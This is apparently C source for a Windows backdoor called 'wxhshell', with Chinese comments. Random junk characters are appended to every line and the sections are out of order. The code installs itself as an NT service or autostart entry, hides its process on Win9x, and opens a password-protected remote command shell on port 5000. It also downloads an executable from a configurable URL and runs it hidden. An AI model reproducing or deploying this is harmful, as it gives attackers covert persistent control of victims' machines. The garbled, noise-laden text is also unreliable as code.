} PROCESS_BASIC_INFORMATION; D2#ZpFp"h
V( }:=eK
PROCNTQSIP NtQueryInformationProcess; oE6tauQn
S*pGMuui
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yER(6V'\iQ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R-
X5K-
HH`'*$]7
HANDLE hProcess; L]7=?vN=8
PROCESS_BASIC_INFORMATION pbi; [\]50=&
cF*TotU_m
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :S]%6gb8G
if(NULL == hInst ) return 0; c&6I[R
eb"VE%+Hu
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n>z9K')
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xl{=Y< ;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5#6|j?_a
:x3QRF
if (!NtQueryInformationProcess) return 0; t}_r]E,{u
cx,+k]9D
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 39c2pV[
if(!hProcess) return 0; g_E$=j92v
?PLPf>e
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; . P viA
I]|Pq
CloseHandle(hProcess); oE@a'*.\
;T\%|O=Ke
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hXw]K"
if(hProcess==NULL) return 0; AhN4mc@
_1X!EH"
HMODULE hMod; BX/8O<s0
char procName[255]; ?JbilK}a
unsigned long cbNeeded; +D6YR$_<
';k5?^T
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W<{h,j8
|o"?gB}Dh
CloseHandle(hProcess); sQ3[<
QP==?g3
if(strstr(procName,"services")) return 1; // 以服务启动 JBj]najN
xh-o}8*n"
return 0; // 注册表启动 z9f-.72"X
} 1}+3dB_s
(le9q5Qr.
// 主模块 ;7*[Bcj.
int StartWxhshell(LPSTR lpCmdLine) =}^9 wP
{ AD>e?u
SOCKET wsl; _`$qBw.Nx
BOOL val=TRUE; U)TUOwF
int port=0; 299H$$WS,Z
struct sockaddr_in door; !vi>U|rh
b1q"!+8y
if(wscfg.ws_autoins) Install(); j8i[ONq^
>IafUy
port=atoi(lpCmdLine); te`$%NRl
|T /ZL!
if(port<=0) port=wscfg.ws_port; sFKX-S~:
(y'hyJo
WSADATA data; Y;eZ9|Ht9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [|wZ77\
Z{.8^u1I
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n)/z0n!\
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Oamg]ST
door.sin_family = AF_INET; Wb,KjtX
door.sin_addr.s_addr = inet_addr("127.0.0.1"); },?kk1vIT{
door.sin_port = htons(port); f^ZRT@`O
>~rTqtKd
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O^PKn_OJ
closesocket(wsl); ?5__oT
return 1; t^-d/yKt0w
} R+:yVi[F]U
OF>mF~
if(listen(wsl,2) == INVALID_SOCKET) { =[ 46`-_
closesocket(wsl); z|uDy2
return 1; .#!lP/.eQP
} Y|m+dT6
Wxhshell(wsl); j3oV+zZ49
WSACleanup(); \&:nFb%=
l9~e".
~'
return 0; h8j.(
B4/>H|
} e4$H&'b|
jdP2Pf^^
// 以NT服务方式启动 t,Lrfv])
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >{]%F*p4
{ G5_=H,Vmd
DWORD status = 0; umfD>" ^I
DWORD specificError = 0xfffffff; M.D1XX1/
1nM
#kJ"
serviceStatus.dwServiceType = SERVICE_WIN32; ldcqe$7,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 68|E9^`l
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;}WeTA_-[
serviceStatus.dwWin32ExitCode = 0; mUC)gA/
serviceStatus.dwServiceSpecificExitCode = 0; PQt")[
serviceStatus.dwCheckPoint = 0; w(Ovr`o?9t
serviceStatus.dwWaitHint = 0; SGRp3,1\4%
Jrf=@m\dk
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KkyVSoD\
if (hServiceStatusHandle==0) return; }Bh8=F3O
Q
:VBV&l`
[
status = GetLastError(); gaxsv[W>^
if (status!=NO_ERROR) F;EwQjTF
{ A 'be8
serviceStatus.dwCurrentState = SERVICE_STOPPED; @s&71a
serviceStatus.dwCheckPoint = 0; Q} JOU
serviceStatus.dwWaitHint = 0; 2W(s(-hD
serviceStatus.dwWin32ExitCode = status; I|!OY`ko
serviceStatus.dwServiceSpecificExitCode = specificError; 8%mu8l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h&iC;yj=
return; P5V}#;v
} \7eUw,~Q>
K3&qq[8.e
serviceStatus.dwCurrentState = SERVICE_RUNNING; c):/!Q
serviceStatus.dwCheckPoint = 0; 539>WyG5
serviceStatus.dwWaitHint = 0; Es`Px_k
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DK~xrU'
} ~Cttzn]pR
qo~O|~
// 处理NT服务事件,比如:启动、停止 h*a(_11
VOID WINAPI NTServiceHandler(DWORD fdwControl) //MUeTxR
{
**0~K" ;\
switch(fdwControl) sdrfsrNvB-
{ X`/k)N>l
case SERVICE_CONTROL_STOP: 3*bU6$|5FP
serviceStatus.dwWin32ExitCode = 0; qZh/IW
serviceStatus.dwCurrentState = SERVICE_STOPPED; aK~8B_5k8
serviceStatus.dwCheckPoint = 0; 8`{:MkXP
serviceStatus.dwWaitHint = 0; -ad{tJV|
{ :kV#y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }#+^{P3 ;
} I{&[[7H
return; klYX7?
case SERVICE_CONTROL_PAUSE: Dpac^ST
serviceStatus.dwCurrentState = SERVICE_PAUSED; <dNOd0e
break; 3`?7<YJ
case SERVICE_CONTROL_CONTINUE: T<>,lQs(a
serviceStatus.dwCurrentState = SERVICE_RUNNING; E=Bf1/c\
break; Y-z(zS^1
case SERVICE_CONTROL_INTERROGATE: \l0[rcEf
break; =%O6:YM
}; fbvL7*
(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /s?`&1v|r
} W
i.&e
!|uWH
// 标准应用程序主函数 hfB%`x#akQ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Uc>lGo1j
{ Z\rwO>3
4"ZP 'I;
// 获取操作系统版本 YP<ms
OsIsNt=GetOsVer(); _61gF[r4!Y
GetModuleFileName(NULL,ExeFile,MAX_PATH); gJ+'W1$/
VQ@
// 从命令行安装 e%M;?0j
if(strpbrk(lpCmdLine,"iI")) Install(); Y|qTyE%
wQf-sk#
// 下载执行文件 ?j.,Nw4FC
if(wscfg.ws_downexe) { {YC@T(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~8+ Zs
WinExec(wscfg.ws_filenam,SW_HIDE); `}\
"Aw c
} 8Fh)eha9f
>'$Mp <
if(!OsIsNt) { Y@iS_lR
// 如果时win9x,隐藏进程并且设置为注册表启动 &-w
Cvp7
HideProc(); tOD6&<
StartWxhshell(lpCmdLine); 3}1u\(Mf
} pki%vRY
else BlO<PMmhT&
if(StartFromService()) o-HT1Hc!
// 以服务方式启动 ^\% (,KNo
StartServiceCtrlDispatcher(DispatchTable); 8,%^
M9zBP
else 2,F.$X
// 普通方式启动 ;(%QD
3 >
StartWxhshell(lpCmdLine); Ax@$+/Z!
~~P5k:
return 0; kTB0b*V
} Zx@a/jLO[n
'LC1(V!_j
}<r)~{UV
$PPi5f}HD
=========================================== Zi
i
7]bGc
\
b|DdG/O
(t|Zn@uY
w9imKVry
*^4"5X@
" n>XdU%&
<lPG=Xt
#include <stdio.h> &z3o7rif$
#include <string.h> J@'wf8Ub
#include <windows.h> "S]TP$O D
#include <winsock2.h> )&O
%*@F
#include <winsvc.h> 3
i0_hZ
#include <urlmon.h> BWrxunHO
BU_nh+dF
#pragma comment (lib, "Ws2_32.lib") AT3Mlz~7#
#pragma comment (lib, "urlmon.lib") tNI^@xdim1
8nJpp
#define MAX_USER 100 // 最大客户端连接数 dn3y\
#define BUF_SOCK 200 // sock buffer m(!FHPvN
#define KEY_BUFF 255 // 输入 buffer Fxz"DZY6
xp{tw$
#define REBOOT 0 // 重启 [q-h|m
#define SHUTDOWN 1 // 关机 eym4=k ~
"8MF_Gu):
#define DEF_PORT 5000 // 监听端口 7$=InK
0S~rgq|O
#define REG_LEN 16 // 注册表键长度 ?`ZUR&
20
#define SVC_LEN 80 // NT服务名长度 =,8]nwgo
HV|,}Wks6s
// 从dll定义API r19
pZAc
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X"Swi&4
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +\9NDfYIA
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H
<l7ZS:
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a=2%4Wmz
##*3bDf$-5
// wxhshell配置信息
t{96p77)=
struct WSCFG { +<C!U'
int ws_port; // 监听端口 K%oG,-wdg
char ws_passstr[REG_LEN]; // 口令 D,feF9
int ws_autoins; // 安装标记, 1=yes 0=no ?tbrbkx
char ws_regname[REG_LEN]; // 注册表键名 wHy!CP%
char ws_svcname[REG_LEN]; // 服务名 25?6gu*Z
char ws_svcdisp[SVC_LEN]; // 服务显示名 ICQKP1WFp
char ws_svcdesc[SVC_LEN]; // 服务描述信息 .q>iXE_c
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C'x&Py/#
int ws_downexe; // 下载执行标记, 1=yes 0=no bAMdI 5Zk?
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +e``OeXog
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L,!?Nt\
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// default Wxhshell configuration { <